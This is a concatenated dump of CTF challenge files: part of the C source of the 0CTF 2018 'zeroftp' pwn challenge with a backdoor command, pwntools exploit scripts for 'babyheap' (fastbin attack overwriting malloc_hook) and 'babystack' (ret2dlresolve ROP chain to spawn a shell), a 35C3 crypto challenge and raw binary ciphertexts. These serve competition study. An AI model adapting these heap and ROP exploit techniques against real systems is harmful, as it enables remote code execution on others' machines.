                CHECK_MALLOC(backdoor_filecontent, NULL);
                read(backdoor_fd, backdoor_filecontent, backdoor_filesize);

                /* write to vfs */
                int backdoor_vfs_fd = zerofs_open(backdoor_pathname, O_WRONLY);
                if (backdoor_vfs_fd < 0) {
                    goto LABEL_FAILED;
                }
                zerofs_write(backdoor_vfs_fd, backdoor_filecontent, backdoor_filesize);
                zerofs_close(backdoor_vfs_fd);

                zeroftp_result_bool(1);
                free(backdoor_filecontent);
                zero_basic_free(zeroftp_arg1);
                //zeroftp_result_raw(backdoor_filecontent, backdoor_filesize);
                break;
            case ZEROFTP_QUIT:
                exit(-1);
                break;
            default:
LABEL_FAILED:
                zeroftp_result_bool(0);
                zero_basic_free(zeroftp_cmd);
                //exit(-1);
                return;
        }
    } else {
        exit(-1);
    }
    zero_basic_free(zeroftp_cmd);


}

#ifdef TEST_ZEROFTP_SAMPLE
void zeroftp_main(uint8_t *packet) {
    uint32_t data_len;
    uint32_t data_crc32;
    uint32_t crc32;
    uint8_t *data;

    if(packet[0] != ZERO_MAGIC) {
        exit(-1);
    }

    data_len = ntohl(*((uint32_t *)&packet[ZERO_MAGIC_LEN]));

        data = &packet[ZERO_MAGIC_LEN+4];

    data_crc32 = ntohl(*((uint32_t *)&packet[ZERO_MAGIC_LEN+4+data_len]));

    crc32 = crc32_compute(0, packet+ZERO_MAGIC_LEN+4, data_len);

    if (crc32 != data_crc32) {
        zeroftp_result_bool(0);
        exit(-1);
    }

    zeroftp_cmd_dispatcher(data, data_len);
}
#else
void zeroftp_main() {
    uint32_t data_len;
    uint32_t data_crc32;
    uint32_t crc32;
    uint8_t *data;
    uint8_t magic;
    uint32_t rd;

    rd = ZERO_RECV(&magic, 1);
    if (magic != ZERO_MAGIC) {
        zeroftp_result_bool(0);
        exit(-1);
    }

    ZERO_RECV(&data_len, 4);
    data_len = ntohl(data_len);

    if (data_len >= 0x8000) {
        exit(-1);
    }

    data = (uint8_t *)malloc(data_len+0x10);
    memset(data, '0', data_len+0x8);
    CHECK_MALLOC(data, NULL);

    ZERO_RECV(data, data_len);

    ZERO_RECV(&data_crc32, 4);
    data_crc32 = ntohl(data_crc32);

    crc32 = crc32_compute(0, data, data_len);

    if (crc32 != data_crc32) {
        zeroftp_result_bool(0);
        exit(-1);
    }

    zeroftp_cmd_dispatcher(data, data_len);

    free(data);
}

void zeroftp_loop() {
    while (1) {
        zeroftp_main();
    }
}

#endif




#ifdef TEST_ZEROFTP_SAMPLE
uint8_t *zeroftp_build_sample_login() {
    zero_basic_t *zero_cmd;
    zero_basic_t *zero_username;
    zero_basic_t *zero_password;
    zero_int_new(&zero_cmd, ZEROFTP_LOGIN, 1);
    zero_string_new(&zero_username, "admin");
    zero_raw_new(&zero_password, "\x21\x23\x2f\x29\x7a\x57\xa5\xa7\x43\x89\x4a\x0e\x4a\x80\x1f\xc3", 0x10);

    uint8_t *buf = malloc(0x1000);
    memset(buf, '\x0', 0x1000);
    uint8_t *buf_tmp1, *buf_tmp2;
    buf_tmp1 = buf+5;
    zero_pack(zero_cmd, buf_tmp1, &buf_tmp2);
    buf_tmp1 = buf_tmp2;
    zero_pack(zero_username, buf_tmp1, &buf_tmp2);
    buf_tmp1 = buf_tmp2;
    zero_pack(zero_password, buf_tmp1, &buf_tmp2);
    buf_tmp1 = buf_tmp2;

    buf[0] = '\xdd';
    size_t data_len = buf_tmp2-buf-4-ZERO_MAGIC_LEN;
    *((uint32_t *)&buf[ZERO_MAGIC_LEN]) = htonl(data_len);

    uint32_t crc32;
    crc32 = crc32_compute(0, buf+ZERO_MAGIC_LEN+4, data_len);
    *((uint32_t *)&buf[ZERO_MAGIC_LEN+4+data_len]) = htonl(crc32);

    //write(1, buf, buf_tmp2+4-buf);

    return buf;
}

uint8_t *zeroftp_build_sample_ls(char *pathname) {
    zero_basic_t *zero_cmd;
    zero_basic_t *zero_pathname;
    zero_int_new(&zero_cmd, ZEROFTP_LS, 1);
    zero_string_new(&zero_pathname, pathname);

    uint8_t *buf = malloc(0x1000);
    memset(buf, '\x0', 0x1000);
    uint8_t *buf_tmp1, *buf_tmp2;
    buf_tmp1 = buf+5;
    zero_pack(zero_cmd, buf_tmp1, &buf_tmp2);
    buf_tmp1 = buf_tmp2;
    zero_pack(zero_pathname, buf_tmp1, &buf_tmp2);

    buf[0] = '\xdd';
    size_t data_len = buf_tmp2-buf-4-ZERO_MAGIC_LEN;
    *((uint32_t *)&buf[ZERO_MAGIC_LEN]) = htonl(data_len);

    uint32_t crc32;
    crc32 = crc32_compute(0, buf+ZERO_MAGIC_LEN+4, data_len);
    *((uint32_t *)&buf[ZERO_MAGIC_LEN+4+data_len]) = htonl(crc32);

    //write(1, buf, buf_tmp2+4-buf);

    return buf;
}

uint8_t *zeroftp_build_sample_rdfile(char *pathname) {
    zero_basic_t *zero_cmd;
    zero_basic_t *zero_pathname;
    zero_int_new(&zero_cmd, ZEROFTP_RDFILE, 1);
    zero_string_new(&zero_pathname, pathname);

    uint8_t *buf = malloc(0x1000);
    memset(buf, '\x0', 0x1000);
    uint8_t *buf_tmp1, *buf_tmp2;
    buf_tmp1 = buf+5;
    zero_pack(zero_cmd, buf_tmp1, &buf_tmp2);
    buf_tmp1 = buf_tmp2;
    zero_pack(zero_pathname, buf_tmp1, &buf_tmp2);

    buf[0] = '\xdd';
    size_t data_len = buf_tmp2-buf-4-ZERO_MAGIC_LEN;
    *((uint32_t *)&buf[ZERO_MAGIC_LEN]) = htonl(data_len);

    uint32_t crc32;
    crc32 = crc32_compute(0, buf+ZERO_MAGIC_LEN+4, data_len);
    *((uint32_t *)&buf[ZERO_MAGIC_LEN+4+data_len]) = htonl(crc32);

    //write(1, buf, buf_tmp2+4-buf);

    return buf;
}

uint8_t *zeroftp_build_sample_wrfile(char *pathname, char *file_content, size_t len) {
    zero_basic_t *zero_cmd;
    zero_basic_t *zero_pathname;
    zero_basic_t *zero_filecontent;
    zero_int_new(&zero_cmd, ZEROFTP_WRFILE, 1);
    zero_string_new(&zero_pathname, pathname);
    zero_raw_new(&zero_filecontent, file_content, len);

    uint8_t *buf = malloc(0x1000);
    memset(buf, '\x0', 0x1000);
    uint8_t *buf_tmp1, *buf_tmp2;
    buf_tmp1 = buf+5;
    zero_pack(zero_cmd, buf_tmp1, &buf_tmp2);
    buf_tmp1 = buf_tmp2;
    zero_pack(zero_pathname, buf_tmp1, &buf_tmp2);
    buf_tmp1 = buf_tmp2;
    zero_pack(zero_filecontent, buf_tmp1, &buf_tmp2);

    buf[0] = '\xdd';
    size_t data_len = buf_tmp2-buf-4-ZERO_MAGIC_LEN;
    *((uint32_t *)&buf[ZERO_MAGIC_LEN]) = htonl(data_len);

    uint32_t crc32;
    crc32 = crc32_compute(0, buf+ZERO_MAGIC_LEN+4, data_len);
    *((uint32_t *)&buf[ZERO_MAGIC_LEN+4+data_len]) = htonl(crc32);

    //zero_hexdump(buf, buf_tmp2+4-buf);
    //write(1, buf, buf_tmp2+4-buf);

    return buf;
}

uint8_t *zeroftp_build_sample_fileinfo1(char *pathname) {
    zero_basic_t *zero_cmd;
    zero_basic_t *zero_pathname;
    zero_basic_t *zero_elem_enable;
    zero_basic_t *zero_elem;
    zero_int_new(&zero_cmd, ZEROFTP_FILEINFO, 1);
    zero_string_new(&zero_pathname, pathname);
    zero_bool_new(&zero_elem_enable, 1);
    zero_int_new(&zero_elem, FNAME, 1);

    uint8_t *buf = malloc(0x1000);
    memset(buf, '\x0', 0x1000);
    uint8_t *buf_tmp1, *buf_tmp2;
    buf_tmp1 = buf+5;
    zero_pack(zero_cmd, buf_tmp1, &buf_tmp2);
    buf_tmp1 = buf_tmp2;
    zero_pack(zero_pathname, buf_tmp1, &buf_tmp2);
    buf_tmp1 = buf_tmp2;
    zero_pack(zero_elem_enable, buf_tmp1, &buf_tmp2);
    buf_tmp1 = buf_tmp2;
    zero_pack(zero_elem, buf_tmp1, &buf_tmp2);

    buf[0] = '\xdd';
    size_t data_len = buf_tmp2-buf-4-ZERO_MAGIC_LEN;
    *((uint32_t *)&buf[ZERO_MAGIC_LEN]) = htonl(data_len);

    uint32_t crc32;
    crc32 = crc32_compute(0, buf+ZERO_MAGIC_LEN+4, data_len);
    *((uint32_t *)&buf[ZERO_MAGIC_LEN+4+data_len]) = htonl(crc32);

    //write(1, buf, buf_tmp2+4-buf);

    return buf;
}

uint8_t *zeroftp_build_sample_fileinfo2(char *pathname) {
    zero_basic_t *zero_cmd;
    zero_basic_t *zero_pathname;
    zero_basic_t *zero_elem_enable;
    zero_basic_t *zero_elem;
    zero_int_new(&zero_cmd, ZEROFTP_FILEINFO, 1);
    zero_string_new(&zero_pathname, pathname);
    zero_bool_new(&zero_elem_enable, 0);
    zero_int_new(&zero_elem, FNAME, 1);

    uint8_t *buf = malloc(0x1000);
    memset(buf, '\x0', 0x1000);
    uint8_t *buf_tmp1, *buf_tmp2;
    buf_tmp1 = buf+5;
    zero_pack(zero_cmd, buf_tmp1, &buf_tmp2);
    buf_tmp1 = buf_tmp2;
    zero_pack(zero_pathname, buf_tmp1, &buf_tmp2);
    buf_tmp1 = buf_tmp2;
    zero_pack(zero_elem_enable, buf_tmp1, &buf_tmp2);
    buf_tmp1 = buf_tmp2;
    zero_pack(zero_elem, buf_tmp1, &buf_tmp2);

    buf[0] = '\xdd';
    size_t data_len = buf_tmp2-buf-4-ZERO_MAGIC_LEN;
    *((uint32_t *)&buf[ZERO_MAGIC_LEN]) = htonl(data_len);

    uint32_t crc32;
    crc32 = crc32_compute(0, buf+ZERO_MAGIC_LEN+4, data_len);
    *((uint32_t *)&buf[ZERO_MAGIC_LEN+4+data_len]) = htonl(crc32);

    //write(1, buf, buf_tmp2+4-buf);

    return buf;
}

uint8_t *zeroftp_build_sample_fileinfo3(char *pathname) {
    zero_basic_t *zero_cmd;
    zero_basic_t *zero_pathname;
    zero_basic_t *zero_elem_enable;
    zero_basic_t *zero_elem;
    zero_int_new(&zero_cmd, ZEROFTP_FILEINFO, 1);
    zero_string_new(&zero_pathname, pathname);
    zero_bool_new(&zero_elem_enable, 1);
    zero_int_new(&zero_elem, FNAME, 1);

    uint8_t *buf = malloc(0x1000);
    memset(buf, '\x0', 0x1000);
    uint8_t *buf_tmp1, *buf_tmp2;
    buf_tmp1 = buf+5;
    zero_pack(zero_cmd, buf_tmp1, &buf_tmp2);
    buf_tmp1 = buf_tmp2;
    zero_pack(zero_pathname, buf_tmp1, &buf_tmp2);
    buf_tmp1 = buf_tmp2;
    zero_pack(zero_elem_enable, buf_tmp1, &buf_tmp2);
    buf_tmp1 = buf_tmp2;
    zero_pack(zero_elem, buf_tmp1, &buf_tmp2);

    buf[0] = '\xdd';
    size_t data_len = buf_tmp2-buf-4-ZERO_MAGIC_LEN;
    *((uint32_t *)&buf[ZERO_MAGIC_LEN]) = htonl(data_len);

    uint32_t crc32;
    crc32 = crc32_compute(0, buf+ZERO_MAGIC_LEN+4, data_len);
    *((uint32_t *)&buf[ZERO_MAGIC_LEN+4+data_len]) = htonl(crc32);

    //write(1, buf, buf_tmp2+4-buf);

    return buf;
}
uint8_t *zeroftp_build_sample_setfileinfo() {
    zero_basic_t *zero_cmd;
    zero_basic_t *zero_pathname;
    zero_basic_t *zero_elem;
    zero_basic_t *zero_value_ptr;
    zero_basic_t *zero_value_num;
    zero_int_new(&zero_cmd, ZEROFTP_SETFILEINFO, 1);
    zero_string_new(&zero_pathname, "./flag");
    zero_int_new(&zero_elem, FNAME, 1);
    zero_string_new(&zero_value_ptr, "flag2");

    uint8_t *buf = malloc(0x1000);
    memset(buf, '\x0', 0x1000);
    uint8_t *buf_tmp1, *buf_tmp2;
    buf_tmp1 = buf+5;
    zero_pack(zero_cmd, buf_tmp1, &buf_tmp2);
    buf_tmp1 = buf_tmp2;
    zero_pack(zero_pathname, buf_tmp1, &buf_tmp2);
    buf_tmp1 = buf_tmp2;
    zero_pack(zero_elem, buf_tmp1, &buf_tmp2);
    buf_tmp1 = buf_tmp2;
    zero_pack(zero_value_ptr, buf_tmp1, &buf_tmp2);

    buf[0] = '\xdd';
    size_t data_len = buf_tmp2-buf-4-ZERO_MAGIC_LEN;
    *((uint32_t *)&buf[ZERO_MAGIC_LEN]) = htonl(data_len);

    uint32_t crc32;
    crc32 = crc32_compute(0, buf+ZERO_MAGIC_LEN+4, data_len);
    *((uint32_t *)&buf[ZERO_MAGIC_LEN+4+data_len]) = htonl(crc32);

    //write(1, buf, buf_tmp2+4-buf);

    return buf;
}

uint8_t *zeroftp_build_sample_backdoor() {
    zero_basic_t *zero_cmd;
    zero_basic_t *zero_pathname;
    zero_int_new(&zero_cmd, ZEROFTP_BACKDOOR, 1);
    zero_string_new(&zero_pathname, "flag");

    uint8_t *buf = malloc(0x1000);
    memset(buf, '\x0', 0x1000);
    uint8_t *buf_tmp1, *buf_tmp2;
    buf_tmp1 = buf+5;
    zero_pack(zero_cmd, buf_tmp1, &buf_tmp2);
    buf_tmp1 = buf_tmp2;
    zero_pack(zero_pathname, buf_tmp1, &buf_tmp2);

    buf[0] = '\xdd';
    size_t data_len = buf_tmp2-buf-4-ZERO_MAGIC_LEN;
    *((uint32_t *)&buf[ZERO_MAGIC_LEN]) = htonl(data_len);

    uint32_t crc32;
    crc32 = crc32_compute(0, buf+ZERO_MAGIC_LEN+4, data_len);
    *((uint32_t *)&buf[ZERO_MAGIC_LEN+4+data_len]) = htonl(crc32);

    //write(1, buf, buf_tmp2+4-buf);

    return buf;
}


void zeroftp_test() {
    LOG("[*] LOGIN TEST\n");
    char *buf = zeroftp_build_sample_login();
    zeroftp_main(buf);

    LOG("[*] WRITE FILE TEST\n");
    buf = zeroftp_build_sample_wrfile("flag1", "AAAAAAAA", 8);
    zeroftp_main(buf);

    buf = zeroftp_build_sample_wrfile("flag2", "BBBBBBBB", 8);
    zeroftp_main(buf);

    LOG("[*] LS TEST\n");
    buf = zeroftp_build_sample_ls("/");
    zeroftp_main(buf);

    LOG("[*] READ FILE TEST\n");
    buf = zeroftp_build_sample_rdfile("/flag1");
    zeroftp_main(buf);

    LOG("[*] FILEINFO TEST 1\n");
    buf = zeroftp_build_sample_fileinfo1("./flag");
    zeroftp_main(buf);

    LOG("[*] FILEINFO TEST 2\n");
    buf = zeroftp_build_sample_fileinfo2("./flag");
    zeroftp_main(buf);

    LOG("[*] FILEINFO TEST 3\n");
    buf = zeroftp_build_sample_fileinfo3(".");
    zeroftp_main(buf);

    //LOG("[*] SETFILEINFO TEST\n");
    //buf = zeroftp_build_sample_setfileinfo();
    //zeroftp_main(buf);

    //LOG("[*] FILEINFO TEST\n");
    //buf = zeroftp_build_sample_fileinfo("./flag2");
    //zeroftp_main(buf);

    //LOG("[*] BACKDOOR TEST\n");
    //buf = zeroftp_build_sample_backdoor();
    //zeroftp_main(buf);

}
#endif

void sigalrm_fn(int sig)
{
        printf("%s", "\n[!] bye!");
        exit(-1);
}

void initial() {
        signal(SIGALRM, sigalrm_fn);
        //alarm(0x10000);
        alarm(0x3c);

        setvbuf(stdin, NULL, _IONBF, 0);
        setvbuf(stdout, NULL, _IONBF, 0);
}

int main(int argc, char const* argv[])
{

#ifdef SERVER
    init_dh();
    init_rc4();
#endif
    //zeroftp_main("AAAA");
#ifdef TEST_ZEROFTP_SAMPLE
    zeroftp_test();
#else
    initial();
    zeroftp_loop();
#endif

    return 0;
}


================================================
FILE: 2018/0ctf-final-2018/pwn/zeroftp/zeroftp.h
================================================
#ifndef ZEROFTP_H
#define ZEROFTP_H

#endif


================================================
FILE: 2018/0ctf-quals-2018/pwn/babyheap/solve_babyheap.py
================================================
from pwn import *
context(log_level='debug')
DEBUG=1
if DEBUG:
	p=process('./babyheap')#,env={"LD_PRELOAD":"./libc-2.24.so"},aslr=False)
	# gdb.attach(p)
	# p.interactive()
else:
	p=remote()

def alloc(size):
	p.recvuntil('Command:')
	p.sendline('1')
	p.recvuntil('Size:')
	p.sendline(str(size))
def update(index,size,content):
	p.recvuntil('Command:')
	p.sendline('2')
	p.recvuntil('Index:')
	p.sendline(str(index))
	p.recvuntil('Size:')
	p.sendline(str(size))
	p.recvuntil('Content:')
	p.send(content)
def delete(index):
	p.recvuntil('Command:')
	p.sendline('3')
	p.recvuntil('Index:')
	p.sendline(str(index))
def view(index):
	p.recvuntil('Command:')
	p.sendline('4')
	p.recvuntil('Index')
	p.sendline(str(index))
	p.recvuntil(']: ')
	return p.recvline()
def main():
	alloc(0x18)#0x00
	alloc(0x18)#0x20
	alloc(0x18)#0x40
	alloc(0x18)#0x60
	alloc(0x48)#0x80
	alloc(0x58)#0xd0
	alloc(0x58)#0x130
	
	update(0,0x19,'0'*0x18+'\x61')

	delete(1)
	alloc(0x58)#0x20

	update(1,0x58,p64(0)*3+p64(0x21)+p64(0)*3+p64(0x21)+p64(0)*3)
	delete(3)
	delete(2)
	
	heapbase=u64(view(1)[0x20:0x28])-0x60
	alloc(0x18)#0x40
	
	update(1,0x20,p64(0)*3+p64(0x91))
	delete(6)
	delete(2)
	libcbase=u64(view(1)[0x20:0x28])-0x3c4b78
	
	alloc(0x48)#0x40
	delete(2)

	# alloc(0x18)
	if DEBUG:
		main_arena=0x3C4B20
		free_hook=0x3C67A8
		malloc_hook=0x3C4B10
	else:
		main_arena=0x399B00
		free_hook=0x39B788
		malloc_hook=0x399AF0

	
	

	
	update(1,0x30,p64(0)*3+p64(0x51)+p64(libcbase+main_arena+0x25)*2)
	
	
	alloc(0x48)
	alloc(0x48)
	log.success('libcbase: 0x%x heapbase: 0x%x'%(libcbase,heapbase))
	
	update(3,0x80-0x55,'\x00'*(0x78-0x55)+p64(libcbase+malloc_hook-0x18))
	alloc(0x48)
	one_gadget=0x45216
	one_gadget=0x4526a
	update(6,0x10,p64(0)+p64(one_gadget+libcbase))
	# gdb.attach(p,'vm\n')
	alloc(0x40)
	# update()
	
	'''
	update(3,0x80-0x55,'\x00'*(0x78-0x55)+p64(libcbase+free_hook-0xb58))	
	update(1,0x50,p64(0)*3+p64(0x31)+p64(0)*5+p64(0xbeef))

	for j in range(10):
		for i in range(10-j):
			print i,'---------------------------'
			alloc(0x48)
		for i in range(14-j,5,-1):
			print '-----------------------',i
			delete(i)
		
		delete(2)
		update(1,0x20,p64(0)*3+p64(0x51))
		alloc(0x48)
		print '-----------------',j
	

	
	view(1)
'''
	p.interactive()

if __name__=='__main__':
	main()
	pass


================================================
FILE: 2018/0ctf-quals-2018/pwn/babystack/solve_babystack_ref.py
================================================
#!/usr/bin/python
import sys, string
sys.path.append("/home/cpegg/roputils")
from pwn import *
from roputils import *
import itertools
from hashlib import sha256

LOCAL = True
LOCALIP = "172.0.0.1"
HOST = "202.120.7.202"
PORT = 6666
addr_bss = 0x0804a100
charset = string.letters+string.digits
rop = ROP("./babystack")
r = process("./babystack")


# jmprel = r.dynamic('JMPREL')
# relent = r.dynamic('RELENT')
# symtab = r.dynamic('SYMTAB')
# syment = self.dynamic('SYMENT')
# strtab = self.dynamic('STRTAB')
# log.info("STRTAB: " + hex(STRTAB))
# log.info("SYMTAB: " + hex(SYMTAB))
# log.info("JMPREL: " + hex(JMPREL))
gdb.attach(r,'b *0x8048451\nc')

def calcpow(chal):
    for combo in itertools.combinations_with_replacement(string.letters+string.digits,4):
        sol = ''.join(combo)        
        if sha256(chal + sol).digest().startswith("\0\0\0"):
            return sol

    return None

def get_connection():
    return remote("localhost", 6666) if LOCAL else remote(HOST, PORT)

def exploit(r):
    log.info("Solve pow ")

    sol = None
    if not LOCAL:
        while sol == None:
            r = get_connection()

            sol = calcpow(r.recvline().strip())

            if sol == None:
                r.close()            

        r.send(sol)

    log.info("Stage1: Prepare bigger read for ropchain")

    payload = "A"*40
    payload += p32(0x804a500)
    payload += p32(0x8048446)
    payload += p32(80)                 # exact length of stage 2 payload
    payload += "B"*(64-len(payload))

    log.info("Stage2: Send ret2dlresolve executing reverse shell")

    payload += "A"*40
    payload += p32(0x804a500)

	# Read the fake tabs from payload2 to bss
    payload += rop.call("read", 0, addr_bss, 150)

	# Call dl_resolve with offset to our fake symbol
    payload += rop.dl_resolve_call(addr_bss+60, addr_bss)

	# Create fake rel and sym on bss
    payload2 = rop.string("/bin/sh")
    payload2 += rop.fill(60, payload2)                        # Align symbol to bss+60
    payload2 += rop.dl_resolve_data(addr_bss+60, "system")    # Fake r_info / st_name
    print (repr(rop.dl_resolve_data(addr_bss+60, "system")))
    payload2 += rop.fill(150, payload2)
	    
    payload += payload2

    payload = payload.ljust(0x100, "\x00")

    r.sendline(payload)

    r.interactive()
    
    return

if __name__ == "__main__":

    if len(sys.argv) > 1:
        LOCAL = False        
        exploit(r)
    else:
        LOCAL = True                        
        exploit(r)

================================================
FILE: 2018/35c3-2018/crypto/post_quantum/challenge.py
================================================
#!/usr/bin/python3

from BitVector import BitVector
from random import SystemRandom

inverse_error_probability = 3

def matrix_vector_multiply(columns, vector):
    cols = len(columns)
    assert(cols == len(vector))
    rows = len(columns[0])
    result = BitVector(size=rows)
    for i, bit in zip(range(cols), vector):
        assert(len(columns[i]) == rows)
        if bit == 1:
            result = result ^ columns[i]
    return result

def bitvector_to_bytes(bitvector):
    return bitvector.int_val().to_bytes(len(bitvector) // 8, 'big')

def bitvector_from_bytes(bytes):
    return BitVector(size=len(bytes) * 8, intVal = int.from_bytes(bytes, 'big'))

class CodeBasedEncryptionScheme(object):

    @classmethod
    def new(cls, bitlength=48):
        key = cls.keygen(bitlength)
        return cls(key)

    def __init__(self, key):
        self.key = key
        self.key_length = len(self.key)
        self.random = SystemRandom()

    @classmethod
    def keygen(cls, bitlength):
        key = SystemRandom().getrandbits(bitlength)
        key = BitVector(size=bitlength, intVal = key)
        return key

    def add_encoding(self, message):
        message = int.from_bytes(message, 'big')
        message = BitVector(size=self.key_length // 3, intVal=message)
        out = BitVector(size=self.key_length)
        for i, b in enumerate(message):
            out[i*3 + 0] = b
            out[i*3 + 1] = b
            out[i*3 + 2] = b
        return out


    def decode(self, message):
        out = BitVector(size=self.key_length // 3)
        for i in range(self.key_length // 3):
            if message[i * 3] == message[i * 3 + 1]:
                decoded_bit = message[i * 3]
            elif message[i * 3] == message[i * 3 + 2]:
                decoded_bit = message[i * 3]
            elif message[i * 3 + 1] == message [i * 3 + 2]:
                decoded_bit = message[i * 3 + 1]
            else:
                assert(False)
            out[i] = decoded_bit
        return bitvector_to_bytes(out)

    def encrypt(self, message):

        message = self.add_encoding(message)

        columns = [
            BitVector(
                size=self.key_length,
                intVal=self.random.getrandbits(self.key_length)
            )
            for _ in range(self.key_length)
        ]

        # compute the noiseless mask
        y = matrix_vector_multiply(columns, self.key)

        # mask the message
        y ^= message

        # add noise: make a third of all equations false
        for i in range(self.key_length // 3):
            noise_index = self.random.randrange(inverse_error_probability)
            y[i * 3 + noise_index] ^= 1

        columns = [bitvector_to_bytes(c) for c in columns]
        columns = b"".join(columns)

        return columns + bitvector_to_bytes(y)

    def decrypt(self, ciphertext):

        y = ciphertext[-self.key_length // 8:]
        columns = ciphertext[:-self.key_length // 8]
        columns = [
            bitvector_from_bytes(columns[i:i+self.key_length // 8])
            for i in range(0, len(columns), self.key_length // 8)
        ]
        y = bitvector_from_bytes(y)

        y ^= matrix_vector_multiply(columns, self.key)
        result = self.decode(y)
        return result




================================================
FILE: 2018/35c3-2018/crypto/post_quantum/data/ciphertext_007
================================================
>pȺa.Tlqbd;Rw
ꏝVYآ1QXӔۋJ
Ms۠ /[sgWFWGg5_*|B4nEG1;+h4Fq{9Z%*aVpVIa _Ԍ"!|w
*%$eV2]7j.}yW_Ȭ6Ms|I`7{((<<Yr4tD8.6_Ѫ=7bω܌gxz+QX߂^08{xan

================================================
FILE: 2018/35c3-2018/crypto/post_quantum/data/ciphertext_012
================================================
/iXX:"]ejj3NW}<vor-q%P~v@pLr$=?'n~]jSٹ؀2;:K;læ
Zy4K`=\$h&Da'`<78Fa5̲2n[M'܆cί
V\KDzXyĊw
PC63YtgF)%0!ADYBaNPX7%mDo¢QhG_3lB^,$zjf&g7%

================================================
FILE: 2018/35c3-2018/crypto/post_quantum/data/ciphertext_016
================================================
qT?1;c|aF8	Cױb7Uźnxl?k&/T`)"w'[K|),A-#S
?HH<)Jn".)Fw'3{/o9	=p}B"i!n#O ;?Q)z	"
95
wstڹ;VZeǀ|<F8V٥>K3>폑+s\|x2&h=rK{I7GEUG0]Q\R

================================================
FILE: 2018/35c3-2018/crypto/post_quantum/data/ciphertext_017
================================================
mަehWU߆j
QN3NJ#?j:vn'6ه˱;a!*l! |Gvp0}FLQ!>,'Z^mk;m")~`cxrS&y޾B߷m:!]7/ByCz;.5P-vJ!s[Yqai-qƖ 9A[ӷP:mp#(V+xmV!8N1lpj[g$s1^{L

================================================
FILE: 2018/35c3-2018/crypto/post_quantum/data/ciphertext_019
================================================
N<LUC^'tx[Qb-:Q}EHs\;t5C;ޒuFZX3S3i۫y\|b|eĴ9(Q+UNHd蚣<˧1I9E&WqQ]BW5_~`4;Pkt3c$ܩ曣!\(Su.ϖFi6a3ph;!YM@Fl)eUD
Y/0/Ȟ$)	~UX_
v+FY%DJ

================================================
FILE: 2018/35c3-2018/crypto/post_quantum/data/ciphertext_020
================================================
^0@$
#WcEnRMmzWyzM4I:Ȇz[[?Z7tDvz
硎VFsڄk~F&w)QL!ShGZu-kr[
3X
=
c)KDăGsbF
=|mlJuE
q
T{]$_z$)GCk=ٲPgTU1Ye3R!,lkJÄJ-
MTb=8g&d!: '<FaČz

================================================
FILE: 2018/35c3-2018/crypto/post_quantum/data/ciphertext_023
================================================
ED")po
+#2rуJ=.Sj@mSPFtitcՓ58ܩ`]=xAlu۳w
hI2KhRe/:ఴzDb'8d, +\n7OrJu a	-(	.և»Wu)}؅]"1/UglJ}<ye;Ә<Ԓ%W~S×`2Z<C䏶D4wG-7b\{XD؆XqDM:$


================================================
FILE: 2018/35c3-2018/crypto/post_quantum/data/ciphertext_026
================================================
)Ao?]H[C-v >,	^%=ם;&7$0Cͦ= %Ek|ze0/4E!b&LWz{O,:7]d `7cFXu̴7r4̘x!Ȼ%L&(={9-t)n[d+"*vf1~v+ۃ]Kzoq]r1$J4	%r	̗H/d?qn븹@/yw4{хȎF=
o9

================================================
FILE: 2018/35c3-2018/crypto/post_quantum/data/ciphertext_029
================================================
wpnD߼\/ENFW*9]wG2,3q	Ѣ^d+0*[Avud(F)9#r8~:ry`4x匈ZN&	t14eLU8%itZ,#PӮ߾c㻥ۘP=:q>¾e	U iu"
9<u΅o%UMDK#MӪ%8."4Vq[g-쎹%mnpj/9"X4$s`BPU

================================================
FILE: 2018/35c3-2018/crypto/post_quantum/data/ciphertext_035
================================================
ڽcr,,·NP3͹B۱xn#Iz欠ҜOZ\)9)Sw
QB@'͡%qd~}GH:r PpOq\b٦ËznR%M%v{'ۙPXoK	[n,^QBD1?-tj[-N+s1گ4x}SyrBFCij[D].q̬eŅJ㟳SON2 H,fw͙'2

================================================
FILE: 2018/35c3-2018/crypto/post_quantum/data/ciphertext_044
================================================
FU	?2Bn4ʍq3矯?-1;U=0׊R6i]hq|*97݋piihGggϵ]<3*SPYy-jȬT?&s̤0d7Dcd5]
Wv;7Ց:G8ʑn+)T0e4RfV+K,UD+U\$ؚ_$arA
Փ1DJDܚJ)a`I:G

================================================
FILE: 2018/35c3-2018/crypto/post_quantum/data/ciphertext_050
================================================
N:N2%Zg>ȭ
o9H"yJ2?%`Ӽ>E*84_b1uK.c$^m{I2U"zv9t1JvDL8(Grҁ~1%_>"[iKAթͬ[H0w
)*|¿);.x^V_ҭڪ$Pqz*'56BkQ(C<
b*+ȋωr<A߯_/q\_BPDǀ1T6iy޲Vr=F1x

================================================
FILE: 2018/35c3-2018/crypto/post_quantum/data/ciphertext_051
================================================
'!Q[v˅Frd:??W3U_ӛm5S'C@n'[
y
 !F`ab=7}q4t:Lb<"NS (x R^+.i{v$$-Q6r8S*7
)l'cTQy2:(hk[6%YFo'rʺ;7UFS
t8!ܑrcf(*[ij,v.Xh|X5]o(e}hq-X

================================================
FILE: 2018/35c3-2018/crypto/post_quantum/data/ciphertext_057
================================================
k#Mӟ7"vn1RsX)F5eLjF8ᥟ^-q݀l;v 5{
~kc}9Twv%D;|[ /@xKm)F2hbe2H)wIch=7`/ȌwPW^d/zc:'/"! PQfEk`dT3˔ui
qn#*9u#]Tk9
t}YT+e0ܷ)lsZ"))LW-Hx

================================================
FILE: 2018/35c3-2018/crypto/post_quantum/data/ciphertext_062
================================================
!9oA4>oB8ؤGPuGY+)cz9\0/ G'/hߵF8A9zNm
F	Fz/,KUYge(A%5`D$f#UԸQ)U{+AJAWzQP\mᩃ$h	sFȿUeKKMu^Q]ףC:Hz,pVѢfGx5*6LM="{u	h؂I5Ziú=5ZwH	7pZ)/Hy

================================================
FILE: 2018/35c3-2018/crypto/post_quantum/data/ciphertext_064
================================================
KOh!0L5`EgsD<]&Wz$Kɬ=sV1E/ͣ%>W؇wd-~O,pF7qmト>娈b;B	h)IwfQA
9EŇrm-8B8spgH!/G}ȴo"/jS>磌rS>r}QKO
FCu15ݶ]
i`^uorӾ7ï_lRvދR|vr'kfdEF4: 

================================================
FILE: 2018/35c3-2018/crypto/post_quantum/data/ciphertext_065
================================================
85_Ϸ^q{H5&@(uN?׭=}O(0r>1"Bs4,5~vDurl;ޞEC:]GJg%r?㢱1XdbQ=Aˏ`C|utf4'坄ݛS2p.R`܊q4LO[!nYX |S9H%HNˍJgԦ|*
V~A3H}^9-xe7W-<l3ŊP#t
zQr\

================================================
FILE: 2018/35c3-2018/crypto/post_quantum/data/ciphertext_069
================================================
 :s'ϼSomvdj,R8ɟ-Iɏ֢X׉1bVSR\4@19Ǚ+E	\j( $U#/|b˲F>^ܢ2S
